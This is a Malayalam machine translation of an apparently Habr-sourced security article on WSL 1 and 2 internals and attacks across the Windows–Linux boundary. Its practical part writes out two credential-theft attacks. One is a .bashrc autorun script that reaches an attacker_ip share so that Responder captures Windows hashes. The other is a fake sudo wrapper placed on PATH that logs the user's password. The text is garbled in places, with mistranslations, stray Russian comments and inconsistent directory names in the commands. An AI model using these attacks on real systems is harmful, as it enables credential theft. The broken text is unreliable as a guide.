WSL പരീക്ഷണങ്ങൾ. ഭാഗം 1

ഹലോ, ഹാബർ! ഒക്ടോബറിൽ OTUS ഒരു പുതിയ കോഴ്‌സ് സ്ട്രീം സമാരംഭിക്കുന്നു "ലിനക്സ് സുരക്ഷ". കോഴ്‌സിന്റെ ആരംഭം പ്രതീക്ഷിച്ച്, ഞങ്ങളുടെ അധ്യാപകരിൽ ഒരാളായ അലക്‌സാണ്ടർ കോൾസ്‌നിക്കോവ് എഴുതിയ ഒരു ലേഖനം ഞങ്ങൾ നിങ്ങളുമായി പങ്കിടുന്നു.

2016 ൽ, മൈക്രോസോഫ്റ്റ് പുതിയ WSL സാങ്കേതികവിദ്യ ഐടി കമ്മ്യൂണിറ്റിക്ക് അവതരിപ്പിച്ചു (Windows Sവേണ്ടിയുള്ള ubsystem Linux), ഇത് ഭാവിയിൽ സാധാരണവും നൂതനവുമായ OS ഉപയോക്താക്കൾക്കിടയിൽ ജനപ്രീതിക്കായി പോരാടുന്ന മുമ്പ് പൊരുത്തപ്പെടുത്താനാവാത്ത എതിരാളികളെ ഒന്നിപ്പിക്കാൻ സാധ്യമാക്കി: വിൻഡോസ്, ലിനക്സ്. ഈ സാങ്കേതികവിദ്യ ലിനക്സ് പ്രവർത്തിപ്പിക്കേണ്ട ആവശ്യമില്ലാതെ ഒരു വിൻഡോസ് പരിതസ്ഥിതിയിൽ Linux OS ടൂളുകൾ ഉപയോഗിക്കുന്നത് സാധ്യമാക്കി, ഉദാഹരണത്തിന്, മൾട്ടി-ബൂട്ട് ഉപയോഗിച്ച്. WSL ഉപയോഗിക്കുന്നതിന്റെ പ്രയോജനങ്ങൾ വിവരിക്കുന്ന ധാരാളം ലേഖനങ്ങൾ Habr-ൽ നിങ്ങൾക്ക് കണ്ടെത്താനാകും. എന്നിരുന്നാലും, നിർഭാഗ്യവശാൽ, ഈ ലേഖനം സൃഷ്ടിക്കുന്ന സമയത്ത്, ഈ ഉറവിടത്തിൽ ഓപ്പറേറ്റിംഗ് സിസ്റ്റങ്ങളുടെ അത്തരമൊരു സഹവർത്തിത്വത്തിന്റെ സുരക്ഷയെക്കുറിച്ചുള്ള പഠനങ്ങളൊന്നും കണ്ടെത്തിയില്ല. ഇത് തിരുത്താനുള്ള ഒരു ശ്രമമായിരിക്കും ഈ പോസ്റ്റ്. ലേഖനം ഡബ്ല്യുഎസ്എൽ 1, 2 ആർക്കിടെക്ചറുകളുടെ സവിശേഷതകളെക്കുറിച്ച് സംസാരിക്കുകയും ഈ സാങ്കേതികവിദ്യകൾ ഉപയോഗിച്ച് സിസ്റ്റങ്ങൾക്കെതിരായ ആക്രമണങ്ങളുടെ നിരവധി ഉദാഹരണങ്ങൾ പരിശോധിക്കുകയും ചെയ്യും. ലേഖനം 2 ഭാഗങ്ങളായി തിരിച്ചിരിക്കുന്നു. ആദ്യത്തേത് ലിനക്സിൽ നിന്നും വിൻഡോസിൽ നിന്നുമുള്ള പ്രധാന സൈദ്ധാന്തിക ആക്രമണ രീതികൾ നൽകും. രണ്ടാമത്തെ ലേഖനത്തിൽ ഒരു പരീക്ഷണ അന്തരീക്ഷം സജ്ജീകരിക്കുന്നതും ആക്രമണങ്ങൾ പുനർനിർമ്മിക്കുന്നതും ഉൾപ്പെടുന്നു.

WSL 1: വാസ്തുവിദ്യാ സവിശേഷതകൾ

ഡബ്ല്യുഎസ്എൽ സുരക്ഷാ പ്രശ്നങ്ങളിലേക്ക് ഏറ്റവും കൃത്യമായ ഡൈവിംഗിനായി, സബ്സിസ്റ്റം നടപ്പിലാക്കുന്നതുമായി ബന്ധപ്പെട്ട പ്രധാന സൂക്ഷ്മതകൾ നിർണ്ണയിക്കേണ്ടത് ആവശ്യമാണ്. WSL പരിഹരിച്ച പ്രധാന ഉപയോക്തൃ ജോലികളിലൊന്ന് Windows OS പ്രവർത്തിക്കുന്ന ഒരു ഹോസ്റ്റിൽ ഒരു ലിനക്സ് ടെർമിനലിലൂടെ പ്രവർത്തിക്കാനുള്ള കഴിവാണ്. കൂടാതെ, ലിനക്സ് എക്സിക്യൂട്ടബിളുകൾ (ELFs) ഒരു വിൻഡോസ് സിസ്റ്റത്തിൽ നേരിട്ട് പ്രവർത്തിപ്പിക്കാൻ കഴിയുന്ന തരത്തിൽ വളരെ നേറ്റീവ് ആയിരുന്നു വാഗ്ദാനം ചെയ്ത അനുയോജ്യത. ഈ ലക്ഷ്യങ്ങൾ കൈവരിക്കുന്നതിന്, Windows 10-ൽ ഒരു പ്രത്യേക സബ്സിസ്റ്റം സൃഷ്ടിച്ചു, അത് ഒരു കൂട്ടം നിർദ്ദിഷ്ട സിസ്റ്റം കോളുകൾ ഉപയോഗിച്ച് ലിനക്സ് ആപ്ലിക്കേഷനുകൾ പ്രവർത്തിപ്പിക്കാൻ നിങ്ങളെ അനുവദിക്കുന്നു - അങ്ങനെ, വിൻഡോസിൽ ഒരു കൂട്ടം ലിനക്സ് സിസ്‌കാളുകൾ മാപ്പ് ചെയ്യാൻ ശ്രമിച്ചു. പുതിയ ഡ്രൈവറുകളും ഒരു പുതിയ പ്രോസസ് ഫോർമാറ്റും ചേർത്താണ് ഇത് ഭൗതികമായി നടപ്പിലാക്കിയത്. കാഴ്ചയിൽ വാസ്തുവിദ്യ ഇതുപോലെ കാണപ്പെടുന്നു:

വാസ്തവത്തിൽ, ലിനക്സ് ഓപ്പറേറ്റിംഗ് സിസ്റ്റവുമായുള്ള ഇടപെടൽ നിരവധി കേർണൽ മൊഡ്യൂളുകൾ വഴിയും ഒരു പ്രത്യേക തരം പ്രോസസ്സ് വഴിയും സംഘടിപ്പിച്ചു - പിക്കോ. മുകളിലുള്ള ഡയഗ്രാമിൽ നിന്ന്, ഹോസ്റ്റിലെ ലിനക്സ് ഇൻസ്റ്റൻസിൽ പ്രവർത്തിക്കുന്ന പ്രക്രിയ നേറ്റീവ് ആയിരിക്കണം കൂടാതെ സാധാരണ വിൻഡോസ് ആപ്ലിക്കേഷനുകളുടെ അതേ ഉറവിടങ്ങൾ ഉപയോഗിക്കേണ്ടതും നിങ്ങൾക്ക് കാണാൻ കഴിയും. എന്നാൽ ഇത് എങ്ങനെ നേടാം? പദ്ധതിയിൽ ഡ്രോബ്രിഡ്ജ് മറ്റൊരു OS-ന്റെ ആപ്ലിക്കേഷൻ പ്രവർത്തിപ്പിക്കുന്നതിന് ഓപ്പറേറ്റിംഗ് സിസ്റ്റത്തിന്റെ (അതിന്റെ പതിപ്പിനെ ആശ്രയിച്ച്) ആവശ്യമായ എല്ലാ ഘടകങ്ങളും നൽകുന്ന Windows-നുള്ള പ്രോസസ്സ് ആശയങ്ങൾ വികസിപ്പിച്ചെടുത്തു.

മറ്റൊരു OS-ന്റെ പ്രക്രിയ ആരംഭിക്കുമെന്ന് പ്രതീക്ഷിക്കുന്ന ഓപ്പറേറ്റിംഗ് സിസ്റ്റത്തിൽ (പ്രത്യേകിച്ച്, വിൻഡോസ്) ഫോക്കസ് ചെയ്യാതിരിക്കാൻ നിർദ്ദിഷ്ട അമൂർത്തീകരണം സാധ്യമാക്കി, ഒരു പൊതു സമീപനം നിർദ്ദേശിച്ചു.

അതിനാൽ, വിൻഡോസ് കേർണൽ പരിഗണിക്കാതെ പിക്കോ പ്രോസസ്സിനുള്ളിലെ ഏത് ആപ്ലിക്കേഷനും പ്രവർത്തിക്കാം:

1. സിസ്റ്റം കോളുകളുടെ അനുയോജ്യതയുടെയും വിവർത്തനത്തിന്റെയും പ്രശ്നങ്ങൾ പ്രത്യേക ദാതാക്കൾ പരിഹരിക്കണം;
2. സെക്യൂരിറ്റി മോണിറ്റർ വഴിയാണ് പ്രവേശന നിയന്ത്രണം നടത്തേണ്ടത്. മോണിറ്റർ കേർണലിലാണ് സ്ഥിതിചെയ്യുന്നത്, അതിനാൽ അത്തരം പ്രക്രിയകൾക്കായി ഒരു ദാതാവായി പ്രവർത്തിക്കാൻ കഴിയുന്ന ഒരു പുതിയ ഡ്രൈവറിന്റെ രൂപത്തിൽ വിൻഡോസിന് ഒരു നവീകരണം ആവശ്യമാണ്. പ്രോട്ടോടൈപ്പ് പിക്കോ പ്രോസസ് സ്കീമാറ്റിക്കായി താഴെ അവതരിപ്പിച്ചിരിക്കുന്നു:

Linux ഫയൽ സിസ്റ്റം കേസ്-സെൻസിറ്റീവ് ഫയലുകളും ഡയറക്ടറി നാമങ്ങളും ഉപയോഗിക്കുന്നതിനാൽ, WSL - VolFS, DriveFS എന്നിവയിൽ പ്രവർത്തിക്കാൻ 2 തരം ഫയൽ സിസ്റ്റങ്ങൾ വിൻഡോസിലേക്ക് ചേർത്തു. ലിനക്സ് ഫയൽ സിസ്റ്റത്തിന്റെ ഒരു നിർവ്വഹണമാണ് വോൾഎഫ്എസ്, വിൻഡോസ് നിയമങ്ങൾക്കനുസൃതമായി പ്രവർത്തിക്കുന്ന ഒരു ഫയൽ സിസ്റ്റമാണ് ഡ്രൈവ്എഫ്എസ്, എന്നാൽ കേസ് സെൻസിറ്റിവിറ്റി തിരഞ്ഞെടുക്കാനുള്ള കഴിവുണ്ട്.

WSL 2

ഡബ്ല്യുഎസ്എൽ 1 ന് നിരവധി പരിമിതികൾ ഉണ്ടായിരുന്നു, അത് പരമാവധി ടാസ്‌ക്കുകൾ പരിഹരിക്കുന്നതിന് അത് ഉപയോഗിക്കാൻ അനുവദിക്കുന്നില്ല: ഉദാഹരണത്തിന്, ഇതിന് 32-ബിറ്റ് ലിനക്സ് ആപ്ലിക്കേഷനുകൾ പ്രവർത്തിപ്പിക്കാനുള്ള കഴിവില്ലായിരുന്നു, കൂടാതെ ഉപകരണ ഡ്രൈവറുകൾ ഉപയോഗിക്കുന്നത് അസാധ്യമായിരുന്നു. അതിനാൽ, 2020 ൽ, WSL 2 പുറത്തിറങ്ങി, ഇത് സബ്സിസ്റ്റം നിർമ്മിക്കുന്നതിനുള്ള സമീപനത്തെ മാറ്റി. WSL 2-ന്റെ വിഭവ ഉപഭോഗ സവിശേഷതകളുമായി പൊരുത്തപ്പെടുന്ന ഒപ്റ്റിമൈസ് ചെയ്ത വെർച്വൽ മെഷീനാണ് WSL 1. ഇപ്പോൾ, Windows OS ഉപയോക്താവ് പരിഹരിക്കുന്ന പ്രശ്നങ്ങൾ അനുസരിച്ച്, നിങ്ങൾക്ക് Linux സബ്സിസ്റ്റത്തിന്റെ ആവശ്യമായ പതിപ്പ് തിരഞ്ഞെടുക്കാം. സാധ്യമായ കേടുപാടുകൾ ലഘൂകരിക്കുന്നതിന്, Windows 2-ൽ ഹൈപ്പർ-വി അടിസ്ഥാനമാക്കി WSL 10 നടപ്പിലാക്കി. ഈ രൂപത്തിൽ, Windows-ന് Linux ഓപ്പറേറ്റിംഗ് സിസ്റ്റം കേർണൽ ഒറ്റപ്പെട്ട് പ്രവർത്തിപ്പിക്കാനുള്ള കഴിവുണ്ട്. ഈ മേഖലയിലെ വിൻഡോസ് വികസനത്തിന്റെ ദിശ കാണിക്കേണ്ട ഒരു ബീറ്റ സവിശേഷതയായാണ് WSL-ന്റെ പതിപ്പ് 1 അവതരിപ്പിച്ചത് എന്നത് ഓർമിക്കേണ്ടതാണ്, അതിനാൽ ഹൈപ്പർ-വിയിലേക്കുള്ള മാറ്റം അനിവാര്യമായിരുന്നു. അവസാന വാസ്തുവിദ്യ ഇതുപോലെ കാണപ്പെടുന്നു:

ഈ പതിപ്പിൽ, വിൻഡോസ്, ലിനക്സ് കേർണലുകൾക്ക് അവരുടേതായ ഉറവിടങ്ങളുണ്ട്, കൂടാതെ ഫയൽ സിസ്റ്റത്തിൽ മാത്രമേ കവല നിലവിലുള്ളൂ, എന്നാൽ ഈ കവല പൂർണ്ണമല്ല. 9P പ്രോട്ടോക്കോൾ ഉപയോഗിച്ച് പ്രവർത്തിക്കുന്ന ഒരു ക്ലയന്റ്-സെർവർ റാപ്പർ വഴിയാണ് ഫയൽ സിസ്റ്റങ്ങൾ തമ്മിലുള്ള ഇടപെടൽ നടത്തുന്നത്.

ഇന്ന് WSL 1, WSL 2 എന്നിവയ്ക്കിടയിൽ മാറാനുള്ള കഴിവ് Microsoft നൽകുന്നു. രണ്ട് പതിപ്പുകളും ഉപയോഗത്തിന് ലഭ്യമാണ്.

WSL സുരക്ഷ

നിലവിൽ, ഉപസിസ്റ്റങ്ങൾ തമ്മിലുള്ള ആശയവിനിമയത്തെ ആക്രമിക്കാൻ നിയമാനുസൃത OS ടൂളുകൾ ഉപയോഗിക്കുന്നതിനുള്ള ചില സമീപനങ്ങൾ വിവരിക്കുന്ന നിരവധി കൃതികൾ ഉണ്ട്. എഴുതുന്ന സമയത്ത് ആക്രമണങ്ങളുടെ പ്രസക്തി പരിശോധിക്കാൻ ഞങ്ങൾ അവരുടെ സ്ക്രിപ്റ്റുകൾ ഉപയോഗിക്കും. ആക്രമണങ്ങളുടെയും സാഹചര്യങ്ങളുടെയും പൊതുവായ പട്ടിക:

1. ഫയൽ സിസ്റ്റം നടപ്പിലാക്കൽ: ആക്സസ് അവകാശങ്ങൾ, പങ്കിട്ട ഡയറക്ടറികളുടെ/ഡാറ്റ എക്സ്ചേഞ്ച് മെക്കാനിസങ്ങളുടെ ലഭ്യത.

ആക്സസ് നിയമങ്ങളുടെ ലംഘനങ്ങൾ നിർണ്ണയിക്കാൻ ഗവേഷണം നടത്തി Linux FS->Windows FS, Windows FS->Linux FS. ടാർഗെറ്റ് ഒഎസിനുള്ളിൽ തന്നിരിക്കുന്ന ഫയൽ പരിഷ്കരിക്കാനുള്ള കഴിവ് ഗവേഷണം തെളിയിച്ചിട്ടുണ്ട്. പകരം വയ്ക്കാനും ഡ്യൂപ്ലിക്കേറ്റുകൾ സൃഷ്ടിക്കാനും ഫയൽ സിസ്റ്റങ്ങളുടെ ഒരു ഭാഗം ഇല്ലാതാക്കാനും ശ്രമിച്ചു.

രംഗം:

• A. Windows ഓപ്പറേറ്റിംഗ് സിസ്റ്റത്തിൽ നിന്നുള്ള ആക്രമണം - Linux OS-ന്റെ /etc ഡയറക്ടറിയിൽ നിന്നുള്ള ഫയലുകളുടെ പരിഷ്ക്കരണം.
• B. Linux ഓപ്പറേറ്റിംഗ് സിസ്റ്റത്തിൽ നിന്നുള്ള ആക്രമണം - ഡയറക്ടറികളിലെ ഫയലുകളുടെ പരിഷ്ക്കരണം: C:Windows, C:Program Files, C:Users<User>

2. നെറ്റ്‌വർക്ക് സ്റ്റാക്കിന്റെ നടപ്പാക്കൽ.

വിൻഡോസിലെ ലിനക്സ് ഓപ്പറേറ്റിംഗ് സിസ്റ്റത്തിൽ നിന്നുള്ള ആക്രമണങ്ങളുടെ ഉദാഹരണങ്ങൾ ഉപയോഗിച്ചാണ് ഗവേഷണം നടത്തിയത്. നെറ്റ്‌വർക്ക് സ്റ്റാക്കിന്റെ സവിശേഷതകൾ ഉപയോഗിച്ചു, അതായത്, വിവിധ ഉറവിടങ്ങളിലെ പ്രാമാണീകരണ സംവിധാനങ്ങൾ.

രംഗം:

• ഒരു വിൻഡോസ് സിസ്റ്റത്തിൽ അധിനിവേശമുള്ള ഒരു പോർട്ടിലേക്കുള്ള ആക്സസ് തുറക്കുന്നു
• ഉചിതമായ അവകാശങ്ങളില്ലാതെ ഒരു പോർട്ട് തുറക്കുന്നു
• വിൻഡോസ് ഓപ്പറേറ്റിംഗ് സിസ്റ്റത്തിൽ elf ഫയൽ ഉപയോഗിച്ച് റിവേഴ്സ് ഷെൽ പ്രവർത്തിപ്പിക്കുന്നു.

3. ഡബ്ല്യുഎസ്എൽ സബ്സിസ്റ്റം ഉപയോഗിച്ചുള്ള ക്ഷുദ്ര സോഫ്റ്റ്വെയർ പ്രക്രിയകളുടെ ലോഞ്ച് മറയ്ക്കുന്നു.

ഗവേഷണം ഒരു ലളിതമായ വസ്തുതയെ അടിസ്ഥാനമാക്കിയുള്ളതാണ് - WSL 1-ന്റെ കാര്യത്തിൽ, ഓപ്പറേറ്റിംഗ് സിസ്റ്റത്തിൽ നിന്നുള്ള ഒരു നിയമാനുസൃത ദാതാവിനെ ഉപയോഗിച്ച് പ്രവർത്തിക്കുന്ന മറ്റൊരു കേർണലിലെ ഇവന്റുകൾ സുരക്ഷാ ഉപസിസ്റ്റങ്ങൾക്ക് തടസ്സപ്പെടുത്താൻ കഴിയില്ല. WSL 2-ന്റെ കാര്യത്തിൽ, സംഭവിക്കുന്ന ഇവന്റുകൾ കാണാൻ ഒരു മാർഗവുമില്ല. ഭാരം കുറഞ്ഞ വെർച്വൽ മെഷീനിൽ ഒരു പ്രത്യേക കേർണലിൽ.

രംഗം:

1) സിസ്റ്റത്തിലേക്കുള്ള റിമോട്ട് ആക്‌സസിനായി ആപ്ലിക്കേഷൻ സമാരംഭിച്ച് ലോഗിൻ ചെയ്‌ത ഇവന്റുകൾ കാണുക.

WSL 1 പരീക്ഷണങ്ങൾ: ഹാഷ് ഇന്റർസെപ്ഷൻ (വിൻഡോസ്)

ഒടുവിൽ ഞങ്ങൾ പ്രായോഗിക ഭാഗത്തേക്ക് എത്തി. ആദ്യം, നിങ്ങൾ ടെസ്റ്റ് പരിതസ്ഥിതി സജ്ജീകരിക്കേണ്ടതുണ്ട്. എല്ലാ പരീക്ഷണങ്ങളും വിൻഡോസ് 10 2004 ഇൻസ്റ്റാൾ ചെയ്ത ബെഞ്ചിലായിരിക്കും നടത്തുക.ഉബുണ്ടു 18.04 ഇമേജാണ് WSL-നുള്ള ഓപ്പറേറ്റിംഗ് സിസ്റ്റം ഇമേജായി തിരഞ്ഞെടുത്തത്. ചിത്രം ക്രമരഹിതമായി തിരഞ്ഞെടുത്തു, മറ്റേതെങ്കിലും അതേ രീതിയിൽ പ്രവർത്തിക്കും. ഒരു സ്റ്റാൻഡ് സജ്ജീകരിക്കുന്നതിനുള്ള കമാൻഡുകൾ:

നിങ്ങൾ ആദ്യം ലോഞ്ച് ചെയ്യണം powershell.exe അഡ്മിനിസ്ട്രേറ്ററായി.

WSL 1-ന് നിങ്ങൾ കമാൻഡുകൾ പ്രവർത്തിപ്പിക്കേണ്ടതുണ്ട്:

1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

Ubuntu.appx install —root #Установим образ

Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.

Restart-Computer #Перезагрузим

സ്റ്റാൻഡ് റീബൂട്ട് ചെയ്ത ശേഷം, നിങ്ങൾക്ക് ബാഷ് കമാൻഡ് വിളിക്കാം. എല്ലാം ശരിയായി പ്രവർത്തിച്ചാൽ, വിൻഡോസ് കൺസോളിൽ സമാനമായ ഔട്ട്പുട്ട് നിങ്ങൾ കാണും:

ആക്രമണകാരിയുടെ മെഷീനായി ഞങ്ങൾ Kali Linux ഡിസ്ട്രിബ്യൂഷൻ ഉപയോഗിക്കും; എല്ലാ മെഷീനുകളും ഒരേ പ്രാദേശിക നെറ്റ്‌വർക്കിൽ ആയിരിക്കണം.

ഒരു വിൻഡോസ് മെഷീനിൽ WSL-ലേക്ക് നമുക്ക് അനർഹമായ ആക്സസ് ഉണ്ടെന്ന് കരുതുക. ലിനക്സിൽ നിന്ന് ഒരു കമാൻഡ് വിളിച്ച് ലിനക്സ് ഓപ്പറേറ്റിംഗ് സിസ്റ്റത്തെ ആക്രമിക്കാൻ ശ്രമിക്കാം. ആക്രമണം നടപ്പിലാക്കാൻ, ഞങ്ങൾ ഒരു ലളിതമായ ഓട്ടോറൺ ടെക്നിക് ഉപയോഗിക്കും - ലിനക്സ് എൻവയോൺമെന്റിൽ എക്സിക്യൂഷൻ ചെയ്യുന്നതിനായി ഞങ്ങൾ ഞങ്ങളുടെ സ്ക്രിപ്റ്റ് ചേർക്കും. ഇത് ചെയ്യുന്നതിന്, നിങ്ങൾ ഫയൽ മാറ്റേണ്ടതുണ്ട് .bashrc.

WSL ഉള്ള ഒരു മെഷീനിൽ ഞങ്ങൾ എക്സിക്യൂട്ട് ചെയ്യുന്നു:

	1. bash
	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
	2. echo  «/home/sam/.attack.sh» >> .bashrc
	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
	4. chmod u+x .attack.sh
	5. exit

ഒരു Kali Linux മെഷീനിൽ ഞങ്ങൾ പ്രവർത്തിപ്പിക്കുന്നു:

1. Responder -I eth0 -rdvw

ഒരു വിൻഡോസ് മെഷീനിൽ, നമുക്ക് ബാഷ് സമാരംഭിക്കാം.

കാളി ലിനക്സ് മെഷീനിലെ ഫലത്തിനായി ഞങ്ങൾ കാത്തിരിക്കുകയാണ്:

അങ്ങനെ, ലിനക്സ് സിസ്റ്റത്തിൽ കമാൻഡ് എക്സിക്യൂട്ട് ചെയ്യുന്നതിലൂടെ ഞങ്ങൾ WSL സബ്സിസ്റ്റം വഴി വിൻഡോസ് യൂസർ ഹാഷുകൾ നേടി.

WSL 1 പരീക്ഷണങ്ങൾ: ഉപയോക്തൃ പാസ്‌വേഡ് നേടൽ (ലിനക്സ് ഒഎസ്)

നമുക്ക് ഒരു പരീക്ഷണം കൂടി നടത്താം. ഈ പരിശോധനയ്ക്കിടെ ഞങ്ങൾ ഫയലിലേക്ക് ചേർക്കും .bashrc Linux ഓപ്പറേറ്റിംഗ് സിസ്റ്റം യൂസർ പാസ്‌വേഡ് ലഭിക്കുന്നതിന് നിരവധി കമാൻഡുകൾ.

നമുക്ക് ബാഷ് സമാരംഭിച്ച് കമാൻഡുകൾ നൽകുക:

1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit

ആക്രമണം വിജയകരമായി പൂർത്തിയാക്കാൻ, ഉപയോക്താവ് സാം ലിനക്സ് ടെർമിനലിൽ സുഡോയെ വിളിക്കേണ്ടതുണ്ട്. ഇതിനുശേഷം, Linux OS ഉപയോക്തൃ പാസ്‌വേഡ് ഫയലിലുണ്ടാകും pass.txt:

സൈദ്ധാന്തിക വിവരങ്ങൾക്ക് വേണ്ടി മാത്രമാണ് ആക്രമണങ്ങൾ നടപ്പിലാക്കിയത്.

ലേഖനത്തിന്റെ അടുത്ത ഭാഗം 9P പ്രോട്ടോക്കോൾ നടപ്പിലാക്കുന്നതിനെ വിവരിക്കും, ഈ പ്രോട്ടോക്കോളിനായി ഒരു സ്കാനർ സൃഷ്ടിക്കുന്നത് പരിഗണിക്കുക, കൂടാതെ അത് ഉപയോഗിച്ച് ഒരു ആക്രമണം നടത്തുകയും ചെയ്യും.

ഉപയോഗിച്ച സാഹിത്യങ്ങളുടെ പട്ടിക

• WSL 2 മോശം ഗവേഷണം
• ലിനക്സ് ഡോക്യുമെന്റേഷനായുള്ള വിൻഡോസ് സബ്സിസ്റ്റം

കൂടുതൽ വായിക്കുക

• തത്സമയ ലിനക്സ് കേർണൽ പാച്ചിംഗ് സോഫ്‌റ്റ്‌വെയർ എങ്ങനെ തിരഞ്ഞെടുക്കാം

അവലംബം: www.habr.com